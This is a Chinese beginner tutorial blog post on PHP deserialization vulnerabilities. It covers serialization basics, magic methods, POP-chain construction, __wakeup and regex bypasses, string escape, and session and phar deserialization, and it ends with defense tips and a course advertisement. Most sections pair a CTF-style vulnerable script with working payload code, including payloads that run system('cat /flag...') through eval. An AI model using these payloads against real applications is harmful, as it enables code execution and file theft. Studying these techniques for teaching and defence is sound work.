【网络安全零基础渗透测试入门必知必会】之php反序列化漏洞原理解析、如何防御此漏洞?如何利用此漏洞?2

前言

这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段反序列化渗透与防御第2篇。

本文主要讲解php反序列化漏洞原理解析、如何防御此漏洞?如何利用此漏洞?

喜欢的朋友们,记得给大白点赞支持和收藏一下,关注我,学习黑客技术。

一、php面向对象基础

1.面向过程
    面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数;
2.面向对象
    面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象;

对象的三个特征:对象的行为,对象的形态,对象的表示

3.类的定义
    类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起;对象是具有类类型的变量,是对类的实例;  
  
    类的定义包括定义类名、定义成员属性、定义成员方法;

内部构成:成员属性(变量)+成员方法(函数)

4.继承
    继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系;  
  
    在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容;

父类:一个类被其它类继承,可将该类成为父类,或基类,超类;

子类:一个类继承其他类称为子类,也可称为派生类;

5.类的访问权限修饰符

public:公共的,在类的内部、子类和类的外部中都可以被调用;

protected:受保护的,在类的内部和子类可以被调用,在类的外部不可调用;

private:私有的,只能在类的内部调用,在子类和类的外部不可调用;

二、序列化基础

1.概述
    序列化是将对象或数组转化为方便存储、传输的字符串,php使用serialize()函数将对象序列化;  
  
    序列化只作用于对象的成员属性,不序列化成员方法;
2.序列化值

各类型值的serialize序列化:

空字符 null -> N;

整型 123 -> i:123;

浮点型 1.5 -> d:1.5;

boolean型 true -> b:1;

boolean型 false -> b:0;

字符串 “haha” -> s:4:“haha”;

3.对象序列化
//对象序列化  
  
<?php  
class test  
{  
    private $a1="haha";  
    protected $a2="dada";  
    public $a3="sasa";  
    public $b=true;  
    public $c=123;  
}  
$d=new test();  
echo serialize($d);  
?>  
  
//输出为:  
O:4:"test":5:{s:8:" test a1";s:4:"haha";s:5:" * a2";s:4:"dada";s:2:"a3";s:4:"sasa";s:1:"b";b:1;s:1:"c";i:123;}  
  
//解释:大写字母O表示对象,4是类名长度,test为类名,5表示该类有5个成  
//员属性,注意private私有属性序列化的属性名格式为“%00类名%00属性名”,  
//%00为空格,如上的“ test a1”,protected受保护属性序列化的属性名格  
//式为“%00*%00属性名”,如上的“ * a2”,对于存在这两种类型的成员属性的  
//类在写payload时通常会使用urlencode()函数编码;其他都是正常的序列化  
  
Public(公有):被序列化时属性值为:属性名  
Protected(受保护):被序列化时属性值为:\x00*\x00属性名  
Private(私有):被序列化时属性值为:\x00类名\x00属性名  

4.pop链序列化
//pop链序列化  
  
<?php  
class test1  
{  
    public $a="haha";  
    public $b=true;  
    public $c=123;  
}  
class test2  
{  
    public $h="hhh";  
    public $d;  
}  
  
$m=new test1();  
$n=new test2();  
$n->d=$m;  
echo serialize($n);  
  
?>  
  
//输出:  
O:5:"test2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"test1":3:{s:1:"a";s:4:"haha";s:1:"b";b:1;s:1:"c";i:123;}}  
  
//对象的成员属性为另一个对象,序列化值出现如上嵌套  

5.数组序列化
//数组序列化  
  
<?php  
$ha=array("haha",123,true,"ggg");  
echo serialize($ha);  
?>  
  
//输出:  
a:4:{i:0;s:4:"haha";i:1;i:123;i:2;b:1;i:3;s:3:"ggg";}  
  
//解释:a表示这是一个数组的序列化,成员属性名为数组的下标,格式"i:数组下标;"  
//其他与正常序列化一致  

三、反序列化

1.概述
    反序列化是将序列化得到的字符串转化为一个对象的过程;  
  
    反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;  
  
    反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串;
//反序列化  
  
<?php  
class test  
{  
    public $a="haha";  
    public $b=123;  
}  
  
$ha='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';  
$ha=unserialize($ha)  
var_dump($ha);  
  
?>  
  
//输出:  
object(test)#1 (2) {  
  ["a"]=>  
  string(3) "666"  
  ["b"]=>  
  int(6666)  
}  
  
  
//如上将字符串转换为对象,且对象的值与类预定义的值无关,取决于被反序列化的字符串  

2.反序列化漏洞的成因
    反序列化过程中unserialize()函数的参数可以控制,传入特殊的序列化后的字符串可改变对象的属性值,并触发特定函数执行代码;
//反序列化漏洞简单案例  
  
<?php  
class test  
{  
    public $a="haha";  
    public function display()  
    {  
        eval($this->a);  
    }  
}  
$cmd=$_GET['cmd'];  
//cmd=O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}  
$d=unserialize($cmd);  
$d->display();  
  
?>  
  
//如上反序列化的内容是GET方法获得的,是可控的,传入上图注释中的cmd  
//内容,可实现执行php代码:phpinfo();  

四、魔术方法详解

    魔术方法是一个预定好的、在特定情况下自动触发的行为方法;
//魔术方法  
  
__construct()       //类的构造函数,创建对象时触发  
  
__destruct()        //类的析构函数,对象被销毁时触发  
  
__call()            //调用对象不可访问、不存在的方法时触发  
  
__callStatic()     //在静态上下文中调用不可访问的方法时触发  
  
__get()            //调用不可访问、不存在的对象成员属性时触发  
  
__set()           //在给不可访问、不存在的对象成员属性赋值时触发  
  
__isset()         //当对不可访问属性调用isset()或empty()时触发  
  
__unset()         //在不可访问的属性上使用unset()时触发  
  
__invoke()        //把对象当初函数调用时触发  
  
__sleep()        //执行serialize()时,先会调用这个方法  
  
__wakeup()       //执行unserialize()时,先会调用这个方法  
  
__toString()     //把对象当成字符串调用时触发  
  
__clone()        //使用clone关键字拷贝完一个对象后触发  

//__construct()和__destruct()  
  
<?php  
class test  
{  
    public $a="haha";  
    public function __construct()  
    {  
        echo "已创建--";  
    }  
    public function __destruct()  
    {  
        echo "已销毁";  
    }  
}  
$a=new test();  
  
?>  
  
//输出:  
已创建--已销毁  
  
//对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法  

//__sleep()和__wakeup()  
  
<?php  
class test  
{  
    public $a="haha";  
    public function __sleep()  
    {  
        echo "使用了serialize()--";  
        return array("a");  
    }  
    public function __wakeup()  
    {  
        echo "使用了unserialzie()";  
    }  
}  
  
$a=new test();  
$b=serialize($a);  
$c=unserialize($b);  
  
?>  
  
//输出:  
使用了serialize()--使用了unserialzie()  
  
//对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()  

//__toString()和__invoke()  
  
<?php  
class test  
{  
    public $a="haha";  
    public function __toString()  
    {  
        return "被当成字符串了--";  
    }  
    public function __invoke()  
    {  
        echo "被当成函数了";  
    }  
}  
  
$a=new test();  
echo $a;  
$a();  
  
?>  
  
//输出:  
被当成字符串了--ss被当成函数了  
  
//ehco $a 把对象当成字符串输出触发了__toString(),$a() 把对象当成  
//函数执行触发了__invoke()  

//__call()和其他魔术方法  
  
<?php  
class test  
{  
    public $h="haha";  
  
    public function __call($arg1,$arg2)  
    {  
        echo "你调用了不存在的方法";  
    }  
}  
  
$a=new test();  
$a->h();  
  
?>  
  
//输出:  
你调用了不存在的方法  
  
//$a->h()调用了不存在的方法触发了__call()方法,其他魔术方法类似不再演示  

五、Pop链的构造

//pop简单例题   
  
<?php  
  
error_reporting(0);  
show_source("index.php");  
  
class w44m{  
  
    private $admin = 'aaa';  
    protected $passwd = '123456';  
  
    public function Getflag(){  
        if($this->admin === 'w44m' && $this->passwd ==='08067'){  
            include('flag.php');  
            echo $flag;  
        }else{  
            echo $this->admin;  
            echo $this->passwd;  
            echo 'nono';  
        }  
    }  
}  
  
class w22m{  
    public $w00m;  
    public function __destruct(){  
        echo $this->w00m;  
    }  
}  
  
class w33m{  
    public $w00m;  
    public $w22m;  
    public function __toString(){  
        $this->w00m->{$this->w22m}();  
        return 0;  
    }  
}  
  
$w00m = $_GET['w00m'];  
unserialize($w00m);  
  
?> NSSCTF{b046d6b0-e1b0-4f26-b54e-acfd4095de65}  

分析

    w44m类的Getflag方法可以输出flag,而该方法不能自动触发,因此需要考虑如何触发该方法;  
  
    可以观察到w33m类的\_\_toString()方法下的代码是可以实现w44m类的Getflag方法调用的,只需令w33m类的属性$w00m为w44m对象,属性$w22m的值为Getflag;  
  
    而w33m类的\_\_toString()方法触发的条件是对象被当成字符串;  
  
    可以观察到w22m类的\_\_destruct()方法输出了$w00m属性,只需令此属性值为w33m对象即可;  
  
    到此,就把三个类的对象串起来了,下面是payload的构造:
<?php  
class w44m  
{  
    private $admin = 'w44m';  
    protected $passwd = '08067';  
}  
class w22m  
{  
    public $w00m;  
}  
class w33m  
{  
    public $w00m;  
    public $w22m="Getflag";  
}  
  
$a=new w22m();  
$b=new w33m();  
$c=new w44m();  
$b->w00m=$c;  
$a->w00m=$b;  
  
$payload=serialize($a);  
echo "?w00m=".urlencode($payload);  //存在private和protected属性要url编码  
  
?>  
  
//输出为:  
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m  
%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%  
3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00ad  
min%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00pas  
swd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%  
3Bs%3A7%3A%22Getflag%22%3B%7D%7D  

六、绕过

1. __wakeup()方法漏洞
    存在此漏洞的php版本:php5-php5.6.25、php7-php7.0.10;  
  
    调用unserialize()方法时会先调用\_\_wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,\_\_wakeup()方法不会被触发,以下的简单例题是\_\_wakeup()方法漏洞的利用:
//__wakeup()方法绕过例题  
  
 <?php  
  
header("Content-type:text/html;charset=utf-8");  
error_reporting(0);  
show_source("class.php");  
  
class HaHaHa{  
  
  
        public $admin;  
        public $passwd;  
  
        public function __construct(){  
            $this->admin ="user";  
            $this->passwd = "123456";  
        }  
  
        public function __wakeup(){  
            $this->passwd = sha1($this->passwd);  
        }  
  
        public function __destruct(){  
            if($this->admin === "admin" && $this->passwd === "wllm"){  
                include("flag.php");  
                echo $flag;  
            }else{  
                echo $this->passwd;  
                echo "No wake up";  
            }  
        }  
    }  
  
$Letmeseesee = $_GET['p'];  
unserialize($Letmeseesee);  
  
?> NSSCTF{f7b177f4-8e9c-4154-9134-db0011b3b97a}  

分析

    只要满足\_\_destruct()方法中的if条件就可以获得flag,构造payload时给对于属性赋值即可;  
  
    然而,在反序列化调用unserialize()方法时会触发\_\_wakeup方法,进而改变我们给$passwd属性的赋值,最终导致不满足if条件;  
  
    因此需要避免\_\_wakeup方法的触发,这就需要可以利用\_\_wakeup()方法的漏洞,使序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量,如下payload的构造:
<?php  
class HaHaHa{  
    public $admin="admin";  
    public $passwd="wllm";  
}  
  
$a=new HaHaHa();  
  
$b=serialize($a);  
echo "?p=".$b;  
  
?>  
  
//输出:  
?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}  
  
//将成员属性数量2改为3,大于实际值2即可,payload如下:  
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}  

2. O:+6绕过正则
//简单案例  
  
<?php   
class Demo {   
    private $file = 'index.php';  
    public function __construct($file) {   
        $this->file = $file;   
    }  
    function __destruct() {   
        echo @highlight_file($this->file, true);   
    }  
    function __wakeup() {   
        if ($this->file != 'index.php') {   
            //the secret is in the fl4g.php  
            $this->file = 'index.php';   
        }   
    }   
}  
if (isset($_GET['var'])) {   
    $var = base64_decode($_GET['var']);   
    if (preg_match('/[oc]:\d+:/i', $var)) {   
        die('stop hacking!');   
    } else {  
        @unserialize($var);   
    }   
} else {   
    highlight_file("index.php");   
}  

分析

    如上正则匹配检查时,匹配到O:4会终止程序,可以替换为O:+4绕过正则匹配;  
  
    或者将对象放入数组再序列化 serialize(array($a));  
  
    前者有的php版本不适应,后者通用;
3. 引用
//简单例题  
  
<?php  
  
show_source(__FILE__);  
  
###very___so___easy!!!!  
class test{  
    public $a;  
    public $b;  
    public $c;  
    public function __construct(){  
        $this->a=1;  
        $this->b=2;  
        $this->c=3;  
    }  
    public function __wakeup(){  
        $this->a='';  
    }  
    public function __destruct(){  
        $this->b=$this->c;  
        eval($this->a);  
    }  
}  
$a=$_GET['a'];  
if(!preg_match('/test":3/i',$a)){  
    die("你输入的不正确!!!搞什么!!");  
}  
$bbb=unserialize($_GET['a']);  
NSSCTF{This_iS_SO_SO_SO_EASY}  

分析

    魔术方法\_\_\_wakeup()会使变量a为空,且由于正则限制无法通过改变成员数量绕过\_\_wakeup(),这时可以使用引用的方法,使变量a与变量b永远相等,魔术方法\_\_destruct()把变量c值赋给变量b时,相当于给变量a赋值,这就可以完成命令执行,payload如下:
<?php  
class test  
{  
    public $a;  
    public $b;  
    public $c='system("cat /fffffffffflagafag");';  
  
}  
$h = new test();  
$h->b = &$h->a;   //注意:取会改变的属性的地址,如取a的地址赋值给b,当给a赋值时a会等于b的值  
echo '?a='.serialize($h);  
  
//输出  
//?a=O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system("cat /fffffffffflagafag");";}  

4. 对类属性不敏感
    protected和private属性的属性名与public属性的属性名不同,由于对属性不敏感,即使不加%00\* %00和%00类名%00也可以被正确解析;
5. 大写S当十六进制绕过
    表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析;
例如   s:13:"SplFileObject"  中的Object被过滤  
  
可改为  S:13:"SplFileOb\6aect"  
  
小写s变大写S,长度13不变,\6a是字符j的十六进制编码  

6.php类名不区分大小写
O:1:"A":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}  
  
等效于  
  
O:1:"a":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}  

七、字符串逃逸

1.反序列化特点
    反序列化以;}结束,其后的内容不影响正常的反序列化;  
  
    属性值的内容是根据其前面代表字符串长度的整数判断的;
2.字符串逃逸的成因
    为了安全将序列化后的字符串作一些关键词替换后再反序列化,却导致字符串长度变长或变短,在精心构造的payload中将造成反序列化字符串逃逸,到达攻击目的;  
  
    一般在数据先后经过serialize()和unserialize()处理,在这个过程中字符串变多或变少的时侯可能存在反序列化的属性逃逸;
3.简单演示
<?php  
class haha  
{  
    public $a = 'AAA';  
    public $b = '12345';  
}  
  
$m = new haha();  
$n = serialize($m);  
//echo $n;  
//O:4:"haha":2:{s:1:"a";s:3:"AAA";s:1:"b";s:5:"12345";}  
//echo print_r(unserialize($n), true);  
// haha Object  
// (  
//     [a] => AAA  
//     [b] => 12345  
// )  
  
//将序列化的字符串属性a的值中的A替换为cc,每替换一个A长度加1  
function filter($str)  
{  
    return preg_replace('/A/' ,'cc' ,$str);  
}  
  
//";s:1:"b";s:5:"12345";}长度为23,需要23个A完成字符串逃逸  
$payload = new haha();  
$payload->a = 'AAAAAAAAAAAAAAAAAAAAAAA";s:1:"b";s:5:"/flag";}';  
$payload = serialize($payload);  
$payload = filter($payload);  
echo $payload;  
//O:4:"haha":2:{s:1:"a";s:46:"cccccccccccccccccccccccccccccccccccccccccccccc";s:1:"b";s:5:"/flag";}";s:1:"b";s:5:"12345";}  
echo print_r(unserialize($payload), true);  
// haha Object  
// (  
//     [a] => cccccccccccccccccccccccccccccccccccccccccccccc  
//     [b] => /flag  
// )  
  

八、session反序列化

1.概述
    当session\_start()被调用或者php.ini中的session.auto\_sart设置为1(即开启)时,php内部会调用会话管理器,将序列化的用户session存储到指定目录(默认为/tmp),session文件名格式为sess\_+session\_id,读取session文件时需要将序列化的字符串进行反序列化,与phar反序列化一样不需要unserialize()函数也会反序列化;
2.漏洞成因
    session文件的写入格式和读取格式不同;
3.三种格式
处理器对应的存储格式
php(默认)键名+|+经serialize()序列化的值
php_serialize(php>=5.5.4)

经serialize()序列化的数组

php_binary键名长度对应的ASCLL字符+键名+经serialize()序列化的值

九、Phar反序列化

1.概述
    phar是一种压缩文件;  
  
    phar伪协议解析文件时会自动触发对phar文件的manifest字段的序列化字符串进行反序列化,即不需要unserialize()函数;
2.phar文件结构

stub phar 文件标识

manifest 压缩文件的属性信息,已序列化存储

contents 压缩文件的内容

signature 签名

3.phar反序列化利用条件
    phar文件可以上传到服务器(只要是phar文件,后缀不是phar也可以被phar协议解析);  
  
    要有可用的反序列化魔术方法;  
  
    要有文件操作函数调用以phar协议,file\_exists()、fopen()、file\_get\_contents()等;  
  
    文件操作函数参数可控,如 :   /    phar等特殊字符未被过滤;
4.phar文件生成脚本
//phar文件的生成  
  
<?php  
class test  
{  
    public $haha='hhhaaa';  
}  
  
@unlink('poc.phar');            //poc.php为文件名,可自定义  
$ph=new phar('poc.phar');     //将phar对象实例化,  
$ph->startBuffering();                      //开始写phar  
$ph->setStub("<?php__HALT_COMPILER();?>");         //设置stub  
  
$a=new test();                   //可自定义  
  
$ph->setMetadata($a);          //将对象写入  
$ph->addFromString('test.txt','test'); //写压缩文件名及其内容,可自定义  
$ph->stopBuffering();                      //结束写phar  
  
  
  
  
//以上类和实例化的对象可自定义,其他为固定格式,在phpstorm中运行以上php代  
//码即可在当前目录下生成.phar文件,  
  
注意:php.ini文件的phar.readonly要设置为Off,并把前面的;号注释符删除,然后重启phpstorm  

十、原生类利用

    php中有许多内置的原生类,可以利用内置的原生类攻击到达目的;

目录遍历类——DirectoryIterator

    可输出指定目录的第一个文件;

文件读取类——SplFileObject

    可读取指定文件的内容;

简单演示

<?php  
class test  
{  
    public $a;  
    public $b;  
    public function __wakeup()  
    {  
        echo $this->a($this->b);  
    }  
}  
//$a=DirectoryIterator,$b=glob://f* 时可得到文件名/flag  
//$a=SplFileObject,$b=/flag 时可读取/flag文件的内容  
//DirectoryTterator和SplFileObject都通过echo输出对象出发,DirectoryIterator读目录只  
//能返回目录的第一条、可以使用通配符、需配合伪协议glob://读取,SplFileObject读文件内容文  
//件名不支持通配符、只返回文件内容的第一行、配合伪协议php://fliter才可读取文件全部内容  
?>

如何防御此漏洞?

防御:

1)签名与认证。

如果序列化的内容没有用户可控参数,仅仅是服务端存储和应用,则可以通过签名认证,来避免应用接受黑客的异常输入。

2)限制序列化与反序列化的类。

增加一层序列化和反序列化接口类。这就相当于允许提供了一个白名单的过滤:只允许某些类可以被反序列化。只要你在反序列化的过程中,避免接受处理任何类型(包括类成员中的接口、泛型等),黑客其实很难控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就很难利用反序列化漏洞了

3)RASP检测。

(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数(例如:序列化,反序列化)的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截.

如何利用此漏洞?

利用:

一、__wakeup( )绕过

(CVE-2016-7124)

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

二、注入对象构造方法

当目标对象被private、protected修饰时的构造方法。

三、Session反序列化漏洞

PHP中的Session经序列化后存储,读取时再进行反序列化。

四、PHAR利用

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

282G网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

朋友们需要全套共282G的《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取

END

本文转自 https://mp.weixin.qq.com/s?__biz=Mzg2OTM0MTYwNw==&mid=2247499331&idx=1&sn=f9f6a70b4fdad4d1d9872aa979b6c4ca&chksm=ce9c3e8bf9ebb79de7f3644cbd56cf3c5a8c2a16c25dbd1cb4fc04d3be7a2dba8832d4dde2db&token=842539593&lang=zh_CN#rd,如有侵权,请联系删除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值